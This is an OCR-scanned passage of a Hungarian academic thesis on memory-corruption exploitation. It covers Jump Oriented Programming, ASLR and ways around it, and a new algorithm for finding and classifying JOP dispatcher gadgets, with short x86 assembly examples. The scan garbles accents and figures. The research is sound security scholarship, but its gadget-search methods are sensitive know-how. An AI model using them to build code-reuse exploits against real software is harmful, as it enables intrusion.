szinte azonnal megjelentek az EMET megkeriilésére alkalmas ROP tamadasi modszerek.
Jelen dolgozatban a ROP egyik jelentds korlatjat a nem megfeleld nagysadgu rendelkezésre
allo hely okozta korlatok megkeriilésének kutatasat tiiztem ki egyik célomul, melyet a kés6bbi

fejezetekben mutatok be (ROP + heap spray: 5. fejezet, ROP + egg hunting: 6. fejezet).

3.8. Jump Oriented Programming (JOP)

A Jump Oriented Programming a ROP altaldnositasa melyet 2011-ben mutattak be eldszor
[45] [46]. A JOP alapdtlete megegyezik a ROP modszerben hasznaltakkal, ugyanakkor az
ugynevezett gadgetek egymas utani 0sszefiizését nem ret utasitdsokkal biztositja, szemben a
ROP-pal. A JOP-nak 3 {6 alkotoeleme van €s egy tovabbi kiegészitd eleme. A tamado kodot
hasonléan a ROP-hoz a virtualis memoridban 1évo kodrészletekbdl rakja 6ssze a tamado, tehat
itt is a kod-jrafelhaszndlas az alap. Ezek az aprd részek a JOP gadgetek, melyeknek az a
jellemzdjiik, hogy néhany hasznos utasitast tartalmaznak utdna pedig egy ugrast. Az ugrés
szemben a ROP-pal nem ret-tel hanem jmp vagy call utasitasokkal torténik. Mindkét esetben

a kodvégrehajtas a jmp illetve a call utani cimnél folytatodik. A gadgetek kozotti kapcsolatot,
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ezaltal a megfeleld sorrendben torténd végrehajtast az tgynevezett dispatcher gadget
biztositja. Ez a kodrészlet egy olyan specialis kodsorozat, amely egy index valtozot novel
minden lépésben, majd egy indirekt ugrassal a soron kovetkezd gadgetra irdnyitja a kod
futasat. Az indirekt ugras egy ugynevezett dispatcher tablabol veszi ki a sorom kovetkezo

gadget cimét. A JOP miikodését a 3.11 abran mutatom be.

A JOP végrehajtasa soran elsé 1épésben a dispatcher gadget kapja meg a vezérlést. A
dispatcher gadget egy index valtozodt tart fent, amely egy mutatd a dispatcher tabla elejére. A
dispatcher gadget minden végrehajtasakor megndveli ezt az index valtozét igy a dispatcher
tablaban elére 1ép egyet. A dispatcher tabla nem feltétleniil folytonosan van jelen a
memoriaban, a 4.-ik fejezetben ezt részletesen vizsgalni fogom. A dispatcher gadget utolsod
utasitasa egy indirekt ugras, amely szerint a dispatcher tablabol aktualis helyérdl kivett értékre

ugrik a programvégrehajtas.

Dispatcher [« - gadget 1

—| gadget <
< | gadget 2

Dispatcher tabla
_’
_’
—> >

gadget n

_’

3.11 dbra A Jump Oriented Programok miikddése

A tdmadas soran mindezek miatt a dispatcher tablat el6zetesen el kell helyezni a memoériaban
olyan modon, hogy ezek megfeleld sorrendben tartalmazzak a gadgetek cimét. Az indirekt
ugras eredményeképpen a gadgetek (a tovabbiakban funkcionalis gadgetek) megkapjak a
vezérlést, végrehajtjak a tiamado kod megfeleld toredékét majd vissza kell adniuk a vezérlést a
dispatcher gadgetnak, ahhoz hogy a kovetkezd kor is lefuthasson. Mindezek miatt a

funkcionalis gadgeteknek olyan utasitasra kell végzddniiik, amelyek visszaugranak a
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dispatcher gadgetra. A gyakorlati megvalositds soran a legutols6 feltétel csak tgy tud
teljesiilni, ha a dispatcher gadgetra torténd visszaugrast valamely regiszter vezérli, pl. minden
funkcionalis gadget jmp esi-re végzddik, és az esi regiszterbe el6zetesen be lett allitva a
dispatcher gadget cime. A JOP tamadasnak lehet egy negyedik eleme is a memoriaban. A
paraméterek taroldsara a szal aktualis stackje gond nélkiil hasznalhat6. Mivel ezen tovabbra is
csak adat lesz tarolva, ezért ha a funkcionalis gadgetek a stacket hasznaljak adatok letételére

¢s felvételére, ugy az semmiben nem kiilonbozik a normal miikodéstol.

A Jump Oriented Programming a gyakorlatban még ritkdn alkalmazott technika. Sziilettek
kutatasi eredmények mind a JOP mind a ROP esetén programok automatikus eldallitasara, de

ezek képességei még korlatozottak.

Ettdl fiiggetleniil a JOP egy rendkiviil hatékony tdmadastipus, mivel amellett, hogy kikertili a
DEP védelmet, még az Anti-ROP technikék is hatdstalanok vele szemben. Korlatja hasonléan
a ROP-hoz a virtudlis memoridban rendelkezésre 4llo utasitdskészlet és a rendelkezésre allo
hely. Az 5.-ik fejezetben a rendelkezésre 4all6 hely kapcsdn a JOP és a heap spray

kombinalhat6sagat vizsgalom.

3.9. Cimtér randomizalas (ASLR)

A cimtér randomizalds vagy eredeti nevén Address Space Layout Randomization (ASLR)
[47] [48] az egyik leghatékonyabb technika a memdriakorrupcids hibakiaknazasok ellen. Az
elsd megoldasi otletek mar 1997-ben megjelentek, de ennél 1ényegesen késobb lettek szerves
részei az operacios rendszereknek. Napjainkban szinte minden operacios rendszer hasznalja
ezt a védekezési megoldast. A megoldas otlete az, hogy a folyamat elinditasakor, amikor a
szegmensek létrejonnek a virtudlis memoriaban, ezek helye véletlenszerien keriil
kivalasztasra. LegfOképpen a virtudlis memoridba betdltott /ibc kdnyvtar esetén van ennek
jelentdsége, nem véletlen tehat, hogy eldszor a return to libc mddszer ellen hasznaltdk. Mivel
a folyamat minden egyes elinditasakor a /ibc konyvtar mashova kertil, ezért nem lehet olyan
tamado kodot irni, ami a /ibc konyvtarban 1év0 metodusok cimére épit, mivel ez minden
alkalommal mas lesz. Ilyen modon a tdmado nem tud pontos kodot irni, az egyes metodusok

cimét csak megtippelni tudja. Ez a megoldas kivédi, mind a ROP mind pedig a JOP tamadast
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is, mivel a gadgetek cimét a timado kodba eldzetesen be kell helyezni. Amennyiben ASLR

mitkddik egy kodszegmensen, ugy az egyes gadgetek is mindig mas cimre fognak betdltddni.

Az ASLR 6nmagaban viszont egyaltalan nem jelent megoldast. A hagyomanyos stack és heap
overflow esetén a tamado sajat kodot helyez el a tamadas céljabol, igy egyaltalan nincs
sziiksége meglévo kddok pontos cimére. Abban az esetben, ha a DEP és az ASLR egyszerre
miikddik, a rendszerben a timadd nem tud sajat elhelyezett kddot futtatni a DEP miatt, DEP-
et kikeriil6 moddszereket pedig szintén nem tud alkalmazni, mivel nem ismeri a virtualis
memoridban meglévé kodrészletek pontos cimeit. Mindezek miatt a DEP ¢és az ASLR

egylittes hasznalata még napjainkban is komoly, bar nem megkeriilhetetlen védelmet jelent.

Az ASLR-nek természetesen azért vannak gyenge pontjai. Napjaink egyik f0 problémajat a
nem pozicio fliggetlen binarisok jelentik. Egy kod akkor nem pozicio fliggetlen, ha tartalmaz
a kodban statikusan elhelyezett memoriacimeket. Ebben az esetben az operacids rendszer
kénytelen a virtualis memorian beliil mindig ugyanoda betélteni a kddot a helyes miikddés
érdekében. Amennyiben van ilyen binaris, ugy a ROP és JOP tamadasok hasznalhatjak az
ezekben a kodokban jelenlevd gadgeteket. Ez a dolog kiilondsen akkor problémas, ha a
pozicid fliggetlen kodrészlet egy tdmadas szempontjabdl veszélyes metddust hiv meg, mert
igy a metddus hivas pontos helye is allandod lesz, amelyet hasznalhatnak a ROP tipust timado
kodok. Az ASLR megkertilésére a kutatok természetesen eldalltak kiilonbozé otletetekkel. A
legegyszeriibb megoldas a talalgatas. Abban az esetben, ha a cimtér randomizalds nem eléggé
véletlenszerli (végesen kevés szamu lehetdség), ugy a tamado tobb példanyban késziti el a
tamado kodot és mindegyikkel probalkozik. A probalkozasok koziil egy kivételével az Gsszes
a folyamat 0sszeomlasahoz vezet, de mivel ezt a mddszert hatalmas forgalmi, automatikusan
yjraindul6 folyamatoknal hasznaljak (pl. nagy forgalmi webszerverek) igy ez egyaltalan nem
feltind. Az egyetlen sikeres probalkozéds viszont elegendd a tdmadd cél eléréséhez. A
koédlapok minél jobb randomizalasa érdekében a Microsoft a kozelmultban kidolgozta az

cre

elhelyezése 1ényegesen nehezebben talalhato ki probalkozassal.

Vannak olyan modszerek az ASLR megkeriilésére, amely egy masik hibara épitenek.
Amennyiben a hibas szoftvernek van olyan informécioszivargasi hibaja, amellyel a kodlapok
véletlenszeri elhelyezése feltérképezhetd, ugy a ROP tipusu moddszerek ujra képbe keriilnek,

mert ismerté valnak az egyes gadgetek pontos helyei. Az egyik legijabb ¢s legigéretesebb
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technikat 2014-ben publikaltak. A modszert Just in Time ROP-nak hivjak [53] és a mddszer
lényege, hogy futdsidoben egy memoriaszivargds hibat kiaknazva elOszor feltérképezi a
tamado kod a gadgeteket és ez alapjan allitja Ossze a tamadast. Ez ellen a modszer ellen
barmely ASLR teljesen hatastalan, bar a végrehajthatésaghoz elég specialis szoftverhiba
sziikséges. Mivel a kutatasom foként a ROP és a JOP modszerre épit, ezért az ASLR
szempontjabol azt feltételeztem, hogy rendelkezésre allnak 4allandé helyre betoltott

kodszegmensek vagy a randomizaltak pontos helyeit lehetéség van kideriteni.
3.10. Osszegzés

Az utébbi években folyamatosan ndvekszik a memoriakorrupcion alapuld tdmadasok és a
memoria korrupcidhoz kothetd nulladik napi sériilékenységek szama. Az alabbi dbra a CVE
adatbazis [49] adatait szemléltetve mutatja a memoriakorrupcids hibak szédmat éves

lebontasban. A 2015-6s adat még nem végleges.

500

400-

300

200

100-

3.12 dbra Memoriakorrupcidohoz kothetd nulladik napi sériilékenységek szama éves bontasban

[49]
A 3.12 4bra alapjan jol latszik, hogy jelenleg éves szinten 500 koriili a napvildgra keriilt
memoriakorrupcidhoz kothetd nulladik napi sériilékenységek szama. Ezek a hibdk gyakran

olyan szoftverekben vannak jelen, amelyet emberek szdzmillidi hasznalnak.

Egy szoftverhiba kiaknazésa 4&ltaldban csupan a tdmadas elsé lépése. Amennyiben a

memoriakorrupcid segitségével sikerill a szoftvert egy nem kivant miikddésre birni, gy ez
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egy lancolatot indithat el. A memoriakorrupcio kiakndzasanak kutatasa ott ér végét, amikor
sikeriil bebizonyitani hogy a szoftver képes egy madsik alkalmazast elinditani. A hiba
bizonyitdsa sordn ez az alkalmazas altalaban a kalkulator, de természetesen tetszdleges
masikat elindithat a tdmado6. A hiba kiakndzésaval a tdmadd kodot valdjdban a szoftver
nevében futtatja a tdmadod, igy minden olyanra képes lesz, amelyet a szoftver jogosultsaga
megenged. A gyakorlati kiaknazasok sordn a tamado letolthet tovabbi tdmado eszkdzoket,
rejtett csatornakat nyithat a késébbi kommunikacidhoz, atmigralhat egy masik folyamatba,
stb. A memoriakorrupcid kiaknazasa tehat csupan csak az els6 1€pés, amely egészen odaig
vezethet, hogy a célpont gépen egy kémkedd szoftver keriilhet elhelyezésre, amely a
felhasznal6 bizalmas adatait kiildheti folyamatosan tovabb, de a célpont gép lehet csupéan a

tamadas egy eszkoze, amelyrdl késébb ujabb timadasokat indithatnak.

Védekez6 oldalrol nézve a memoriakorrupcios hibakat a kérdés valojaban az, hogy mit lehet
tenni ezek ellen. Teljesen vilagos, hogy a szoftverek sosem lesznek tokéletesek, emiatt a
védekezéseket folyamatosan erdsiteni kell. A 3.13. abra azt mutatja, hogy egy szoftverhiba
kivédése érdekében mind a forditd, mind az operacids rendszer és maga a szoftver is sokat

tehet.

Kivételkezeld feliilirasa

P - Heap védelem
. Kivétel kezelés
— N
JIT-ROP? }/ Operacios \

( rendszer

Heap tulcsordulds

// .
[ Memorialap védelem

Stack cookie (DEP, ASLR)

Kivétel kezelés

Kezeletlen kivéte]| —

Stack tulcsordulas

Return to libc

3.13. dbra Védekezés memoriakorrupcio ellen

Ugyanakkor nem szabad elfelejteni, hogy egy jol ismert védekezéshez mindig sziiletni fognak

célzottan azt megkeriild6 tdmaddsok, mint ahogy ez forditva is igaz. Ebben az 0Orok
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korforgasban a szoftverbiztonsaggal kapcsolatos kutatasoknak a védekezést kell erdsiteniiik j
védekezési modszerek bemutatdsdval vagy lehetséges tdmadds tipusokra vald
figyelemfelhivassal. A dolgozat tovabbi fejezeteiben kiilonb6zé konkrét memoriakorrupciot

érintd kiaknéazasi problémaval kapcsolatos részletes kutatasi eredményeimet mutatom be.
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4. Dispatcher gadgetek keresése és osztalyozasa

A Jump Oriented Programming-on alapul6 tamadéasok Osszeallitdsanak egyik kulcskérdése a
kodvégrehajtashoz sziikséges dispatcher gadgetek kivalasztasa €s alkalmazéasa. A dispatcher
gadget egy olyan kodrészlet a memoridban, amely egy index értéket valtoztat minden egyes
kodvégregrehajtas soran, majd a kodvégrehajtast az index memoriacimére iranyitja

(részletesebb leiras a 3.8 fejezetben).
4.1 Korabbi megoldasok bemutatasa

A JOP bemutatasakor [51] a dispatcher gadgetre az alabbi leirast tették. A dispatcher gadget
egy olyan kddsorozat a virtualis memoriaban, amelyre raillik a kovetkezo leiras:

pe < fipo);

goto *pc,

ahol pc egy regiszter vagy egy tetszéleges memoria cim is lehet. Az f(pc) pedig egy
tetszéleges mivelet pl. f(pc) = pc+4 egyszeriibb esetben, de pl. lancolt listaszerli mikddés
esetén egy memoria dereferencia is raillik erre: pl. f(pc) = *(pc-18). A jo6 milkddés
szempontjabol a lényeg az, hogy a pc index valtozo kiszdmithatéoan valtozzon. Végezetiil a

goto *pc pedig egy indirekt ugras a kodrészlet végén.

A JOP elsdé bemutatdsa soran a dispatcher gadgettel kapcsolatban az a megallapitas sziiletett,
hogy a "Proof of concept" mintaprogramhoz kénnyen talalhat6 volt megfelelé dispatcher

gadget. Ekkor a dispatcher gadget keresésre az alabbi algoritmust alkalmaztak:

Minden olyan ko&drészlet szoba johet dispatcher gadgetnak, amely egy eldzetesen
meghatarozott hossznal rovidebb és az utolsd utasitdsa egy indirekt ugras egy cimre utasitas.
Emellett a dispatcher gadetoknak az alabbi 3 feltételt kell teljesiteniiik:

1. a kddsorozat elsd utasitasnak az utolso utasitasban szerepld cimet kell valtoztatnia

2. azokat a kodrészleteket ki kell zarni, amelyek nem valtoztatjdk meg ezt a cimet

legalabb egy sz6 nagysaggal
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3. azok a kodrészletek, amelyek teljesen feliilirjdk a cim értéket kiszamithatatlan
moddon (a kiszamithatatlan jelen esetben azt jelenti, hogy nem szerepel a cim bemeneti

paraméterként a cim 1j értékének kalkulalasakor) azokat szintén el kell vetni.

Azok a kédrészletek koziil, amelyek teljesitik ezen feltételeket azokat kell hasznalni, amelyek
a legkevésbé szignifikans regisztereket hasznaljak, hogy minél kevésbé rontsék a funkciona-

lis gadgetek taldlasanak esélyét.

A publikalt algoritmus elegendd arra, hogy egyszerti dispatcher gadgeteket talaljunk,
ugyanakkor a megfogalmazas tobb helyen pontatlan ¢és szamos elméletben lehetséges
megoldast is kizar. A szerzd ugyanakkor megjegyzi, hogy a gadgetek keresése a JOP-hoz egy

nagyon komplex feladat, amely tovabbi vizsgalddast igényel.

Kutatdomunkam soran a publikalt algoritmusnak az alabbi hidnyossagait fedeztem fel:

e Onkényesen veszi fel a dispatcher gadget maximalis hosszat, a ROP-bol szerzett
tapasztalatokat felhasznalva

e Tobb elméletben lehetséges lehetdséget is kizar. Pl. a lea edx, [eax+tebx] utasitast
kizarja, mivel az edx értékének valtozasat kiszamithatatlannak tartja két fliggd
paraméter miatt. Ugyanakkor a lea edx, [edx+ebx]-et elfogadja. Abban az esetben, ha
az eax értéke megegyezik az edx-szel a két megoldas teljesen megegyezik, azzal a
kiilonbséggel, hogy a functional gadgeteknek kevesebb kodrészlet lesz megfeleld.

e Az algoritmussal meghatarozott dispatcher gadgetek koziil a ténylegesen hasznalt

dispatcher gadgetet onkényesen egy egyszerli szempont szerint valasztja ki.

Automatikus jump-oriented programming G6sszeallitasra is sziilettek eredmények [52]. Ebben
a megoldasban emlitésre keriil egy az el6zéekben kimaradt lehetdség is, pl ha az ugrdé cim
nem kozvetleniil valtozik (pop eax; mov ebx, eax,; jmp [ebx]), ugyanakkor részletesen nem
dolgozza ki az ezek megtaldlasara szolgald algoritmust. Helyette kifejezetten pop/jmp és
mov/jmp utasitas parokkal dolgozik, azon beliil is csak az esi ugroregisztert helyezi el6térbe.
Az automatikus JOP 0Osszeallitashoz kettd fix dispatcher gadgettel dolgozik egy linux verzid
libc és libgcj koédjaibol. Ez a megoldas nyilvanvaldan nem altaldnos érvényii és a dispatcher

gadget kivalasztasa is teljesen onkényes.
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Dispatcher gadgetek keresésére vonatkozd tovabbi algoritmusokat a szakirodalomban nem
taldltam. A kutatomunka sordn megallapitottam, hogy egy pontosabban miikodd, tobb
szempontot is figyelembe vevo dispatcher gadget keresé algoritmusnak az alabbi feltételeket
kell teljesitenie:

e A dispatcher gadget hossza onmagdban nem befolyasolhatja a hasznalhatosagat.
Elméletben tetszdleges szamu nop vagy semleges utasitas lehet az ugroregiszter
modositasa €s az indirekt ugras kozott (index novelés, nop, nop, .., indirekt ugras)

e Az ugroregiszter modositasa (dispatcher gadget elsd utasitasa) és az indirekt ugrés
kozott (dispatcher gadget utolsd utasitdsa) szerepld utasitasokat is figyelembe kell
venni a dispatcher gadget végso kivalasztasanal

e A dispatcher gadget végsd kivalasztasat befolydsolnia kell a lehetséges dispatcher
gadgetekhez tartozo funkciondlis gadgetek szdma. Nem feltétleniil az szamit, hogy
melyik regiszter a legkevésbé szignifikans, pontosabb, ha a rendelkezésre allo
functional gadgetek alapjan itéljiik meg a hasznalhatésagot, még pontosabb, ha a
tényleges tdmado feladathoz kotjiik a kivalasztast.

e A dispatcher gadget végso kivalasztasat a szoftverhiba tipusa, ezaltal az ugro regiszter
modositdsdnak maddja is befolyasolja. Ha pl. az ugrd regiszter 100-saval novekszik
minden 1épésben, a dispatcher tabla elhelyezése sokkal nagyobb irhaté6 memoriarész

sziikséges €s olyan szoftverhiba, amivel ez lehetséges.
4.2. Uj algoritmus a dispatcher gadget keresésére

Figyelembe véve az irodalomban taldlhatd algoritmusok hibait, a meglévd algoritmusoknal
egy pontosabb algoritmust dolgoztam ki a dispatcher gadgetek megtaldlasara. Az algoritmus
komplexebb szempontokat is képes figyelembe venni a kordbbiakhoz képest. Az algoritmus

az alabbi feladatot hajtja végre:

I. A végrehajthatd memoriarészeket végignézve hasonldoan a korabban bemutatott
megoldasokhoz a lehetséges dispatcher gadgetetek utolsé utasitdsat keresi meg eloszor egy
egyszerll linedris kereséssel. Ennek az utasitdsnak egy indirekt ugras tipusu kodnak kell
lennie, mint pl.

jmp regiszter

Jjmp [regiszter]
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Jjmp [irhato-olvashato memoria cim]
call regiszter

call irhato-olvashato memoria cim

Szintén lehetségesek elvben az indirekt feltételes ugrasok, pl.:

je regiszter

Jze regiszter

stb,

azzal a megkdtéssel, hogy ezeknél a dispatcher gadgetoknadl a feltételes ugras utasitas eldtt a

jelzo flageknek olyan allapotban kell lenniiik, hogy az ugras valdban 1étrej6jjon.

II. A keresés hatulrol eldre torténik olyan modon, hogy minden egyes visszafelé 1épéskor a jo
mukodés feltételeit frissiteni kell figyelembe véve az aktualis utasitdst. A feltétel
hozzarendelés is a kodsorozat végétdl az eleje felé torténik. Ezeket a feltételeket a dispatcher
gadget korabbi kodrészeinél és a functional gadgeteknél figyelembe kell venni. Ez alapjén a

potencialis dispatcher gadgetek keresés kozben igy irhatoak le:

ugro regiszter modositas: feltételek n+2
kozbenso 1: feltételek n+1
kézbenso 2: feltetelek n
kozbenso n: feltételek 2
indirekt ugras: feltételek 1

Feltetelek k Feltételek k-1-bol és az aktualis kodbol kovetkezik. Ha pl. a feltételek 1 egy iires
halmaz és a kdozbens6 n.-ik utasitas egy mov ecx, 10, akkor a feltételek 2-be bekeriil, hogy ecx
nem hasznalhaté a funkciondlis gadgetekben. Ez azért van, mert a dispatcher gadget ezt
minden Iépésben elrontja. A visszafelé 1épegetés mindaddig torténik, amig egy olyan utasitas
nem kovetkezik, amely kielégiti az ugrd regiszter modositas feltételeit (megtalaltuk az els6
utasitast) vagy egy a dispatcher gadgetot teljesen elrontd utasitds nem jon (kizartuk a

dispatcher gadget jeloltek koziil az aktualis vizsgalt kodrészt).
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III. Kozbenso érvénytelen utasitas

Egy kozbensd utasitds abban az esetben lehet érvénytelen, ha a processzor ugynevezett
"unaligned" utasitaskészletet haszndl (mint pl. az x86-os architektura). Egy ilyen
utasitaskészletnek az a jellemzdje, hogy nem minden utasitds egyforma hosszsagu, igy
el6fordulhat, hogy egy utasitds madst jelent, ha nem az elejétdl olvassuk. Nem az elejétol
olvasni egy utasitaist a nem egyforma hosszii utasitisok miatt lehetséges. Aligned
architektaran (pl. minden utasitds 4 byte hosszisagu), az utasitdsok csak adott cimeken
kezdédhetnek. Az EB 8B FF bytesorozatot x86-0s architektiran dissasemblerrel visszafejtve
azt kapjuk, hogy az EB 8B egy visszafelé torténd ugrast jelent és a kdvetkezd utasitas FF-fel
kezdddik, a masodik byte-t6l olvasva a 8B FF viszont egy teljesen mas utasitds mov edi, edi
lesz. Mindezeket figyelembe véve eléfordulhat, hogy a dispatcher gadget végén eldallo
indirekt ugras egy nem szandékos utasitas, hanem valamely tényleges utasitds kozepe.
Visszafelé haladva az algoritmus szerint, igy az is megeshet, hogy a diszasszemblerés soran
egy érvénytelen utasitidshoz jutunk (nincs assembly megfeleldje, a processzor sem tudja
értelmezni). Mivel ez a tdmadd kod azonnali ledllasahoz vezetne, igy az ilyen dispatcher

gadget jeldlteket azonnal el kell vetni.

IV. K6zbenso ret utasitas

Szintén problémas, ha a kozbensd utasitdsok egyike valamilyen ret jellegli utasitas (retn, retf,
ret Ox16, stb). Mivel a ret utasitas a stack tetejérdl vesz le egy cimet és a program futasat
innen folytatja, elméletben ezért el6fordulhat, hogy a stacken éppen egy olyan cim talalhato,
amely a dipatcher gadget megfeleld helyére iranyitja a program futasat, kvazi folytatva a
kodvégrehajtast ott ahol abbamaradt. Ugyanakkor mivel a dispatcher gadget annyiszor fut le
ahany funkcionalis gadget van, a stacken el kellene helyezni minden egyes ref utasitas eldtt az
aktualis cimet vagy a teljes végrehajtas el6tt a sziikséges cimet annyi példanyban, ahany
funkciondlis gadget van. Mégha ez elméletben lehetséges is (bar elég nehezen lenne
kivitelezhetd) ezt a megoldast azért is elvetem, mert igy ugyanaz lenne a jellemzdje, mint a
ROP-nak, minden Iépésben egy ret keriil végrehajtasra, igy a JOP-szeri miikodés értelmét

veszitené ebben az esetben.
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V. Kozbenso feltétel nélkiili ugras

Amennyiben egy kdzbensd utasitds kiugrik a dispatcher gadgetbol, elméletben még nem

feltétlentil okozza a gadget rossz mukodését. Az abran lathato6 modon eléfordulhat, hogy

késObb visszatér a gadgetba. A tulsagosan komplex miikodés miatt ezt a lehetdséget is

elvetem.

valtozd novelése

T
\

indirekt ugras

4.1. abra Dispatcher gadget kozbensd kiugras majd visszaugrassal

A leirt algoritmus mukodését a 4.2 abra szemlélteti. Az algoritmusban szerepld almetodusok

¢és egyeb elnevezések alatt az alabbi dolgot kell érteni:

utasitas (1):
indirekt utasitas:

ugras valtozo:

kezdeti feltétel:

feltételfrissit:

x modosit y

el6z6 (x)

az i.-ik poziciotol kezdve disassemblerrel visszafejtett utasitas

azon utasitastipusok halmaza, melyeket az I. pont alatt definidltam

azon regiszter vagy memoriacim, amely alapjan torténik az ugras a
kovetkezé memoriacimre, pl. jmp [edx]-nél ez az edx regiszter

egy olyan metodus, amely az ugrd utasitas alapjan meghatarozza, a
helyes mukodés feltételét. jmp [edx] esetén ez a feltétel az, hogy az edx
valtozot ne valtoztassak meg a funkcionalis gadgetek, je /edx] esetén az
is feltétel lesz, hogy a zero flag értéke be legyen allitva

egy olyan metddus, amely a helyes miikodés feltételeit kiegésziti az
eddigi feltételek és a kovetkezd utasitas alapjan. pl. mov ecx, 10 esetén
a funkciondlis gadgetek az ecx értéket sem hasznalhatjak

egy olyan metddus, amely azt vizsgalja, hogy az x utasitds megfeleléen
modositja-e az y valtozot, pl add edx,4 edx-re igaz, minden mas
regiszterre hamis

egy olyan metodus, amely meghatarozza az adott utasitas elétt szerepld
utasitas helyét, tehat ha a visszaadott hely k-val van x el6tt, akkor az itt

szerepld utasitas hossza pontosan k
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4.2. abra Dispatcher gadget keresés algoritmusa

Az algoritmusban szerepel a feltételek frissitése. Ez a részfeladat kiilon magyarazatot igényel:

e Amennyiben egy regiszter értéket kap, akkor az nem hordozhat semmilyen
informéciot a funkcionalis gadgeteknél, mert a dispatcher gadget elallitja azt

e Amennyiben egy regiszter értéke az eredeti értéket is figyelembe véve modosul (pl.

egy fix érték adodik hozza), ugy ezt figyelembe kell venni a funkcionalis gadgeteknél
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e Amennyiben egy regisztert referenciaként haszndl a dispatcher gadget, ugy az adott
memoriarésznek irhatonak vagy olvashatonak kell lennie az utasitas fiiggvényében

e Amennyiben a jelzéflagek befolyasoljak a dispatcher gadget miikodését, ugy azokat a
funkcionalis gadgetek nem allithatjak el

e Amennyiben a dispatcher gadget veremmiiveletet hajt végre, ugy azt figyelembe kell

venni a funkcionalis gadgeteknél

A feltételvizsgalat végeredménye egy szoveges leiras lesz, amelyet figyelembe kell venni a
funkcionalis gadgetek manualis Osszeallitasanal. A leirt algoritmus a dispatcher gadgetek
keresésére alkalmas, a funkciondlis gadgeteket manudlisan kell Gsszevalogatni és sorba

rendezni.

Az x modosit y metddus azt vizsgalja, hogy a dispatcher gadget index valtozoja modosul-e az
utasitas végrehajtasa soran. Amennyiben modosul, azt is nézni kell, hogy nem allandé értéket
kap-e. PL. ha ecx az index valtozo, akkor az aldbbi utasitasok egyértelmiien teljesitik ezt a
feltételt:

add ecx, eax

add ecx, [ebx-0x8]

mov ecx, eax

mul ecx

Biztosan nem teljesitik a feltételt azok az utasitdsok, amelyek nem befolyasoljak az index
regisztert, pl:

nop

add eax, ecx

rol edx

stb.

Szintén nem elfogadhatoak azok az utasitasok, amelyek moddositjak az index regisztert, de
minden egyes dispatcher gadget futasnal ugyanazt az értéket allitjak be az ugroregiszterre, pl.:

mov ebx, Ox56ffda

Az el6z6(x) metddus is igényel egy rovid magyarazatot. Az els6z0 utasitist egyesével

visszafelé keresi az algoritmus. Az el6z0 utasitas az elsé olyan utasitas lesz, amelyre teljesiil,
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hogy a hossza pont annyi, amennyivel a vizsgalt utasitas el6tt van. Pl. egy 2 byte-os gépi kodu
utasitas pont 2 byte-tal van a vizsgalt el6tt akkor az akkor az eldz6 utasitds, ha az 1 byte-tal

elotte 1évo hossza nem 1.

Az algoritmus eredménye olyan dispatcher gadget jeloltek halmaza lesz, melyek
mindegyikéhez tartozik egy feltételrendszer, amelyet a funkcionalis gadgeteknek teljesiteni
kell. Ezek ismeretében minden egyes dispatcher gadget jelolth6z megadhat6 a rendelkezésre
allo funkcionalis gadgetek szama. Ez a szam jelentOsen eldsegiti a legjobb dispatcher gadget

kivalasztasat az adott feladathoz.

A leirt algoritmus az eddig publikalt algoritmusokhoz képest 1ényegesen tobb szempontot
figyelembe véve keresi a dispatcher gadget jelolteket. Ugyanakkor meg kell emliteni, hogy
eléfordulhatnak még ezzel az algoritmussal is olyan esetek, amelyeket az algoritmus kizar,
annak ellenére, hogy jol mitkddne. Ilyen példaul a korabban emlitett kozbensd feltétel nélkiili
ugras, abban az esetben, ha a kdédvégrehajtas visszatér a dispatcher gadget megfeleld részére.

Szintén nem taldlja meg az algoritmus a tobb részbdl allé dispatcher gadgeteket (4.3 abra).

add eax, ecx

jmp edx

\

jmp [eax]

4.3. dbra Tobb részbdl allo dispatcher gadget

Az abranak megfeleld jellegli dispatcher gadgeteket csak olyan algoritmus tudna megtalalni,
amely elére haladva elemzi a kodrészleteket. Az indirekt ugrasbol kiindulva szamtalan
lehetdség lenne, mivel gyakorlatilag az Osszes indirekt ugras utasitds alkalmas a példaban

szerepld jmp edx feladatra.
A leirt algoritmus 1ényegesen pontosabb megfogalmazast ad a dispatcher gadgetek keresésére

¢és a taldlati aranya is nagyobb az eredetihez képest, ugyanakkor a fenti esetek miatt ez

algoritmus sem talalja meg az elméletben 0sszes lehetséget.
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4.3 Dispatcher gadgetek osztalyozasa

Minden egyes dispatcher gadget jeloltnél fontos azt is megvizsgalni, hogy milyen hibdhoz
hasznalhat6. A Jump Oriented Programing hibakihaszndlds sordn a végrehajtando
funkcionalis gadgetek cimét el kell helyezni a memoridban azokra a helyekre, ahonnan a
dispatcher gadget ki tudja azokat olvasni. A funkcionalis gadgetek cimének elhelyezését a
memoria korrupcid fajtaja befolyasolja. Nyilvanvaléan mas a helyzet akkor, ha csak egy adott
memoria szegmens csak egy korlatozott tartomdnyaban van lehetéség elhelyezni a
funkcionalis gadgetek cimét tartalmazd dispatcher tablat és megint mas a helyzet, ha
tetszOleges irhatd memoriacimre van lehetdség a JOP futtatdsa eldtt adatot elhelyezni. A
tovabbiakban néhany elméletben lehetséges dispatcher gadget tipust fogok bemutatni az

alkalmazhatdsag szempontjabdl a memoria korrupcié fajtajanak figyelembe vételével.

opcio 1:
add edi, 0x4
Jmp [edi]

Az opcid 1-ben szerepld dispatcher gadget a 32 bites architekturan elméletben lehetséges
lehetd legjobb eset. Osszesen egy regisztert foglal le a funkcionalis gadgetek koziil. Szintén
nagyon kedvezé a memoria korrupcid fajtajanak szempontjabol, ugyanis szinte tetszéleges
memoria korrupcid esetén hasznalhatd, mivel a funkcionalis gadgetek cimeit folytonosan is el
lehet helyezni akar a stackre is. Amennyiben a dispatcher tabla nem a stackre keriil, ugy a
stacket tudja hasznalni adattarolasra a JOP futdsa kozben. Ugyanakkor 64 bites esetben

nyilvanval6an nem hasznalhat6.

opcio 2:
sub edi, esi

Jmp [edi]
Az opcid 2-ben szerepld példa esetén az edi és az esi regiszterek is foglalva vannak a

funkciondlis gadgetek szempontjabdl. Mivel a dispatcher tabla indexe minden Iépésben pont

az esi-vel no, ezért az esi elézetesen torténd 4-re vagy 8-ra torténd allitdsaval 32 és 64 bites
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koédban is hasznalhato (64 bites kodban az edi €és esi helyett rdi és rsi is szerepelhet).

Hasonldan az el6z6 opcidhoz, a stack itt is hasznalhato a JOP futdsa kozben.

opcio 3:
add edi, esi
call [edi]

A fenti példa abban kiilonbozik az el6z6tdl, hogy az indirekt ugras egy call utasitassal van
végrehajtva. Ennek a megoldasnak az a hatranya, hogy minden egyes lefutdskor a call a
stackre helyezi a call utdn kovetkezd utasitds cimét. Ezaltal az aktualis stack hasznilata
